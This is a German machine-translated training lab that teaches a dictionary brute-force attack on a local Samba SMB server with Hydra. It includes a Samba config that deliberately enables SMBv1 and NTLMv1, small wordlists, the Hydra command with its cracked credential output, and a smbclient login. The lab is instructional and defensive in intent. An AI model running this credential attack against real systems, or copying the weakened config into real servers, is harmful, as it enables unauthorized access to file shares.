Angriff auf SMB-Dienste mit Hydra

HydraHydraBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Labor lernen Sie, wie Sie SMB (Server Message Block) Dienste mit Hydra, einem leistungsstarken Kennwortknackwerkzeug, angreifen. Dieses Labor konzentriert sich darauf, zu demonstrieren, wie schwache Anmeldeinformationen auf einem SMB-Server identifiziert und ausgenutzt werden können.

Sie beginnen mit der Einrichtung eines lokalen SMB-Servers mithilfe von Samba, einschließlich der Installation der notwendigen Pakete, der Konfiguration der Datei smb.conf, um einen freigegebenen Ordner zu erstellen, und der Festlegung geeigneter Berechtigungen. Anschließend bereiten Sie Benutzer- und Kennwortlisten vor, die im Hydra-Angriff verwendet werden sollen. Schließlich führen Sie den Hydra SMB-Angriff aus und überprüfen die Ergebnisse, um festzustellen, ob irgendwelche Anmeldeinformationen erfolgreich geknackt wurden.

Einrichtung eines lokalen SMB-Servers

In diesem Schritt richten Sie einen lokalen SMB (Server Message Block)-Server mithilfe von Samba ein. SMB ist ein Netzwerkdateifreigabedienstprotokoll, das Anwendungen auf einem Computer ermöglicht, auf Dateien und Ressourcen auf einem Remote-Server zuzugreifen. Samba ist eine freie Software-Reimplementierung des SMB-Netzwerkprotokolls. Dies wird in späteren Schritten ein Ziel für Ihren Hydra SMB-Angriff darstellen.

Zuerst installieren wir Samba. Öffnen Sie Ihr Terminal im Verzeichnis ~/project.

sudo apt update
sudo apt install samba -y

Dieser Befehl aktualisiert die Paketlisten und installiert anschließend das Samba-Paket. Der Flag -y beantwortet automatisch alle Eingabeaufforderungen während der Installation mit "ja".

Als Nächstes müssen Sie Samba konfigurieren. Sie beginnen mit dem Sichern der ursprünglichen Konfigurationsdatei.

sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak

Erstellen wir nun eine neue, saubere Konfigurationsdatei, indem wir die vorhandene direkt überschreiben. Dieser Ansatz vermeidet Konflikte mit den Standard-Ubuntu Samba-Einstellungen.

Kopieren Sie den folgenden Befehl und führen Sie ihn im Terminal aus. Stellen Sie sicher, dass der Befehl korrekt kopiert wurde.

sudo tee /etc/samba/smb.conf > /dev/null << 'EOF'
[global]
   workgroup = WORKGROUP
   server string = Samba Server
   netbios name = fileserver
   security = user
   map to guest = never
   ## Deaktivieren Sie den anonymen Zugriff
   restrict anonymous = 2
   ## Explizit SMBv1 und NTLMv1 für Hydra aktivieren
   server min protocol = NT1
   client min protocol = NT1
   ntlm auth = ntlmv1-permitted
   ## Nur auf localhost binden
   interfaces = 127.0.0.1
   bind interfaces only = yes
   ## Protokollierung
   log file = /var/log/samba/log.%m
   max log size = 1000
   logging = file
   debug level = 3

[share]
   path = /home/labex/project/share
   browsable = yes
   writable = yes
   guest ok = no
   read only = no
   valid users = labex
EOF

Dieser Befehl ersetzt den Inhalt von /etc/samba/smb.conf vollständig durch unsere saubere Konfiguration.

Wichtige Konfigurationspunkte:

  • map to guest = never - Verhindert anonymen Gastzugriff
  • restrict anonymous = 2 - Deaktiviert den anonymen Zugriff vollständig
  • server min protocol = NT1 und client min protocol = NT1 - Aktiviert SMBv1 für die Kompatibilität mit Hydra
  • ntlm auth = ntlmv1-permitted - Ermöglicht die NTLMv1-Authentifizierung für Tests
  • interfaces = 127.0.0.1 und bind interfaces only = yes - Beschränkt den Zugriff auf localhost
  • guest ok = no - Deaktiviert den Gastzugriff auf den Freigabeordner
  • valid users = labex - Beschränkt den Zugriff auf den spezifischen Benutzer

Warum wir die gesamte Datei überschreiben:

  • Vermeidet Konflikte mit den Standard-Samba-Einstellungen von Ubuntu
  • Stellt eine saubere, minimale Konfiguration bereit, die für Hydra-Tests optimiert ist
  • Eliminiert potenzielle Probleme mit doppelten oder widersprüchlichen Direktiven
  • Bietet einen konsistenten Ausgangspunkt für alle Benutzer

Diese Konfiguration stellt sicher, dass Hydra Authentifizierungsversuche korrekt erkennen kann, ohne durch anonymen Zugriff beeinträchtigt zu werden.

Erstellen wir nun den freigegebenen Ordner.

mkdir ~/project/share
sudo chmod 777 ~/project/share

Dies erstellt ein Verzeichnis namens share in Ihrem ~/project-Verzeichnis und setzt dessen Berechtigungen auf 777, was bedeutet, dass jeder Lese-, Schreib- und Ausführungsberechtigungen hat. Hinweis: In einem realen Szenario würden Sie restriktivere Berechtigungen verwenden. Zur Vereinfachung in diesem Laborumfeld verwenden wir 777.

Als Nächstes müssen Sie einen Samba-Benutzer hinzufügen. Dieser Benutzer wird verwendet, um sich beim SMB-Server zu authentifizieren. Sie verwenden den bereits vorhandenen Benutzer labex im System. Legen Sie zunächst ein Samba-Kennwort für den Benutzer labex fest.

sudo smbpasswd -a labex

Sie werden aufgefordert, ein neues Kennwort für den Benutzer labex einzugeben. Geben Sie password ein und bestätigen Sie es.

Neues SMB-Kennwort:
Wiederholen Sie das neue SMB-Kennwort:
Benutzer labex hinzugefügt.

Starten Sie schließlich den Samba-Dienst neu, um die Änderungen anzuwenden.

sudo /etc/init.d/smbd restart
sudo /etc/init.d/nmbd restart

Sie sollten eine Ausgabe ähnlich dieser sehen:

 * SMB/CIFS-Daemon smbd stoppen                                        [ OK ]
 * SMB/CIFS-Daemon smbd starten                                        [ OK ]
 * NetBIOS-Namenserver nmbd stoppen                                    [ OK ]
 * NetBIOS-Namenserver nmbd starten                                    [ OK ]

Dieser Befehl prüft Ihre Samba-Konfiguration auf Syntaxfehler und zeigt die aktive Konfiguration an. Sie sollten eine Ausgabe sehen, die Ihre Einstellungen ohne Fehler bestätigt.

Nun ist Ihr lokaler SMB-Server mit entsprechenden Sicherheitseinstellungen eingerichtet. Sie haben einen freigegebenen Ordner namens share erstellt und den Benutzer labex mit einem Samba-Kennwort hinzugefügt. Die Konfiguration ist optimiert, um korrekt mit Hydra-Angriffen zu funktionieren.

Benutzer- und Kennwortlisten vorbereiten

In diesem Schritt erstellen Sie die Benutzer- und Kennwortlisten, die Hydra für den SMB-Angriff verwenden wird. Diese Listen enthalten potenzielle Benutzernamen und Kennwörter, die Hydra verwenden wird, um sich beim SMB-Server zu authentifizieren.

Erstellen wir zunächst die Benutzerliste. Verwenden Sie nano, um eine Datei namens users.txt im Verzeichnis ~/project zu erstellen.

nano ~/project/users.txt

Fügen Sie in dieser Datei die folgenden Benutzernamen, jeweils in einer eigenen Zeile, hinzu:

labex
admin
guest
user
test
root

Drücken Sie Strg+X, dann Y und anschließend die Eingabetaste, um die Datei zu speichern.

Erstellen wir nun die Kennwortliste. Verwenden Sie nano, um eine Datei namens passwords.txt im Verzeichnis ~/project zu erstellen.

nano ~/project/passwords.txt

Fügen Sie in dieser Datei die folgenden Kennwörter, jeweils in einer eigenen Zeile, hinzu:

password
123456
labex
admin
guest

Drücken Sie Strg+X, dann Y und anschließend die Eingabetaste, um die Datei zu speichern.

Dies sind einfache Listen zu Demonstrationszwecken. In einem realen Szenario würden Sie viel größere und komplexere Listen verwenden.

Nun haben Sie zwei Dateien erstellt: users.txt mit einer Liste von Benutzernamen und passwords.txt mit einer Liste von Kennwörtern. Hydra wird diese Listen im nächsten Schritt verwenden, um zu versuchen, das Kennwort des SMB-Servers zu knacken.

Hydra SMB-Angriff ausführen

In diesem Schritt verwenden Sie Hydra, um einen Brute-Force-Angriff auf den SMB-Server durchzuführen, den Sie im ersten Schritt eingerichtet haben. Hydra ist ein parallelisierter Login-Cracker, der zahlreiche Protokolle zum Angriff unterstützt.

Öffnen Sie Ihr Terminal im Verzeichnis ~/project.

Führen Sie nun den Hydra-Befehl aus, um den SMB-Dienst anzugreifen.

hydra -L ~/project/users.txt -P ~/project/passwords.txt 127.0.0.1 smb

Zerlegen wir diesen Befehl:

  • hydra: Dies ist der Befehl zum Ausführen des Hydra-Tools.
  • -L ~/project/users.txt: Gibt den Pfad zur Benutzerliste an.
  • -P ~/project/passwords.txt: Gibt den Pfad zur Kennwortliste an.
  • 127.0.0.1: Dies ist die IP-Adresse des Ziel-SMB-Servers (in diesem Fall localhost).
  • smb: Gibt den anzugreifenden Dienst (SMB) an.

Hydra beginnt nun, sich mit den Benutzernamen und Kennwörtern aus den bereitgestellten Listen beim SMB-Server anzumelden. Es wird jede Kombination aus Benutzername und Kennwort versuchen, bis es ein gültiges findet oder alle Möglichkeiten ausgeschöpft hat.

Mit dem korrekt konfigurierten SMB-Server aus Schritt 1 sollten Sie eine erfolgreiche Ermittlung der Anmeldeinformationen sehen:

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Bitte verwenden Sie dieses Tool nicht gegen militärische oder Geheimdienstorganisationen oder für illegale Zwecke (dies ist nicht bindend, diese *** ignorieren Gesetze und Ethik sowieso).

Hydra (https://github.com/vanhauser-thc/thc-hydra) gestartet am 2025-05-30 10:52:16
[INFO] Reduzierte Anzahl der Aufgaben auf 1 (smb mag keine parallelen Verbindungen)
[DATA] maximal 1 Aufgabe pro 1 Server, insgesamt 1 Aufgabe, 30 Anmeldeversuche (b:6/p:5), ~30 Versuche pro Aufgabe
[DATA] Angriff auf smb://127.0.0.1:445/
[445][smb] Host: 127.0.0.1   Login: labex   Kennwort: password
1 von 1 Ziel erfolgreich abgeschlossen, 1 gültiges Kennwort gefunden
Hydra (https://github.com/vanhauser-thc/thc-hydra) beendet am 2025-05-30 10:52:17

Ausgabe verstehen:

  • Die Zeile [445][smb] Host: 127.0.0.1 Login: labex Kennwort: password zeigt, dass Hydra erfolgreich gültige Anmeldeinformationen gefunden hat.
  • Benutzername: labex
  • Kennwort: password
  • Die Zusammenfassung zeigt "1 gültiges Kennwort gefunden" und bestätigt den erfolgreichen Angriff.

Wichtiger Hinweis: Dieser Angriff wird zu Ausbildungszwecken auf einem lokalen SMB-Server durchgeführt. Wir haben den Server speziell so konfiguriert, um zu demonstrieren, wie Hydra funktioniert. In Produktionsumgebungen sollte SMBv1 aus Sicherheitsgründen deaktiviert sein. Nicht autorisierte Angriffe auf Remotesysteme sind illegal und unethisch.

Der Befehl kann je nach Größe Ihrer Benutzer- und Kennwortlisten einige Zeit dauern. Beobachten Sie die Ausgabe, um zu sehen, wann Hydra das Kennwort erfolgreich geknackt hat.

SMB-Angriffsresultate überprüfen

In diesem Schritt analysieren Sie die Ausgabe des Hydra SMB-Angriffs, um die erfolgreiche Ermittlung der Anmeldeinformationen zu bestätigen und die geknackten Anmeldeinformationen zu verifizieren, indem Sie eine Verbindung zum SMB-Freigabeordner herstellen.

Nach Ausführung des Hydra-Befehls (und gegebenenfalls der Schritte zur Fehlerbehebung) im vorherigen Schritt sollten Sie eine erfolgreiche Ausgabe ähnlich dieser sehen:

[445][smb] host: 127.0.0.1   login: labex   password: password
1 of 1 target successfully completed, 1 valid password found

Diese Zeile zeigt, dass Hydra die SMB-Anmeldeinformationen erfolgreich geknackt hat:

  • Benutzername: labex
  • Kennwort: password

Verifizierung der geknackten Anmeldeinformationen:
Um zu bestätigen, dass die geknackten Anmeldeinformationen gültig sind, können Sie den Befehl smbclient verwenden, um eine Verbindung zum SMB-Freigabeordner herzustellen. Installieren Sie ihn zunächst, falls er noch nicht installiert ist:

sudo apt update
sudo apt install smbclient -y

Sie sollten eine Ausgabe ähnlich dieser sehen:

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  libsmbclient
The following NEW packages will be installed:
  libsmbclient smbclient
0 upgraded, 2 newly installed, 0 to remove and 252 not upgraded.
...
Setting up smbclient (2:4.15.13+dfsg-0ubuntu1.6) ...

Verwenden Sie nun die geknackten Anmeldeinformationen, um eine Verbindung zum SMB-Freigabeordner herzustellen:

smbclient //127.0.0.1/share -U labex%password

Zerlegen wir diesen Befehl:

  • smbclient: Das Befehlszeilen-Dienstprogramm zum Zugriff auf SMB/CIFS-Ressourcen auf Servern.
  • //127.0.0.1/share: Der Pfad zum SMB-Freigabeordner. 127.0.0.1 ist die IP-Adresse Ihres lokalen SMB-Servers, und share ist der Name des freigegebenen Verzeichnisses.
  • -U labex%password: Gibt den Benutzernamen (labex) und das Kennwort (password) an, die Hydra geknackt hat. Benutzername und Kennwort sind durch ein %-Zeichen getrennt.

Wenn die Verbindung erfolgreich ist, wird Ihnen eine smb:\>-Eingabeaufforderung angezeigt, die anzeigt, dass Sie sich erfolgreich mit dem SMB-Freigabeordner mit den geknackten Anmeldeinformationen verbunden haben:

Try "help" to get a list of possible commands.
smb: \>

Sie können dann exit eingeben und die Eingabetaste drücken, um die smbclient-Eingabeaufforderung zu verlassen:

exit

Diese erfolgreiche Verbindung bestätigt Folgendes:

  1. Hydra hat die SMB-Anmeldeinformationen erfolgreich geknackt.
  2. Die Kombination aus Benutzername und Kennwort ist gültig.
  3. Der Angriff war erfolgreich gegen den konfigurierten SMB-Server.
  4. Die geknackten Anmeldeinformationen ermöglichen den Zugriff auf das freigegebene Verzeichnis.

Sicherheitsaspekte:
Dieser erfolgreiche Angriff verdeutlicht die Bedeutung von:

  • Verwendung starker, komplexer Kennwörter
  • Implementierung von Konto-Sperrrichtlinien
  • Überwachung von Brute-Force-Angriffen
  • Deaktivierung unnötiger Dienste und Protokolle
  • Regelmäßige Sicherheitsaudits und Penetrationstests

Zusammenfassung

In diesem Labor haben Sie gelernt, wie man SMB-Dienste mit Hydra, einem leistungsstarken Kennwort-Cracking-Tool, angreift. Sie begannen mit der Einrichtung eines lokalen SMB-Servers mithilfe von Samba, was die Installation der notwendigen Pakete, die Konfiguration der Datei smb.conf zur Erstellung eines freigegebenen Verzeichnisses mit SMBv1- und NTLMv1-Unterstützung für die Hydra-Kompatibilität und die Festlegung geeigneter Berechtigungen umfasste.

Anschließend haben Sie Benutzer- und Kennwortlisten (users.txt mit 6 Benutzernamen und passwords.txt mit 5 Kennwörtern) vorbereitet, die im Hydra-Angriff verwendet wurden. Mit dem korrekt konfigurierten SMB-Server aus Schritt 1 hat der Hydra SMB-Angriff die SMB-Anmeldeinformationen erfolgreich geknackt, indem die gültige Kombination aus dem Benutzernamen labex und dem Kennwort password gefunden wurde.

Sie haben den Erfolg des Angriffs bestätigt, indem Sie smbclient verwendet haben, um eine Verbindung zum SMB-Freigabeordner mit den ermittelten Anmeldeinformationen herzustellen, was demonstriert, dass die geknackten Anmeldeinformationen einen legitimen Zugriff auf das freigegebene Verzeichnis ermöglichten.

Dieses Labor hat effektiv Folgendes demonstriert:

  1. Funktionen von Hydra: Wie Hydra systematisch Benutzernamen- und Kennwortkombinationen gegen SMB-Dienste testen kann
  2. Korrekte Konfiguration: Die Bedeutung der korrekten Konfiguration des Zieldienstes für Sicherheitstests
  3. Brute-Force-Angriffsmethode: Den Prozess der Erstellung von Wörterlisten und die Ausführung automatisierter Angriffe
  4. Angriffsverifizierung: Die Bedeutung der Bestätigung der erfolgreichen Ermittlung von Anmeldeinformationen
  5. Sicherheitskonfiguration: Wie eine korrekte SMB-Konfiguration den anonymen Zugriff verhindert, während legitime Authentifizierungstests erlaubt werden

Wichtige Sicherheitslektionen:

  • Schwache Kennwörter sind anfällig für Brute-Force-Angriffe
  • Eine korrekte Dienstkonfiguration ist sowohl für die Sicherheit als auch für die Tests entscheidend
  • Die Deaktivierung des anonymen Zugriffs gewährleistet klare Authentifizierungsergebnisse
  • Automatisierte Tools wie Hydra können schnell viele Anmeldekombinationen testen
  • Regelmäßige Sicherheitstests helfen, Schwachstellen zu identifizieren, bevor Angreifer dies tun

Wichtiger Hinweis: Dieser Angriff wurde auf einem lokalen SMB-Server durchgeführt, der speziell für Bildungszwecke konfiguriert wurde. In Produktionsumgebungen sollte SMBv1 deaktiviert, starke Kennwortrichtlinien erzwungen und eine Überwachung eingerichtet werden, um Brute-Force-Angriffe zu erkennen. Nicht autorisierte Angriffe auf Remotesysteme sind illegal und unethisch.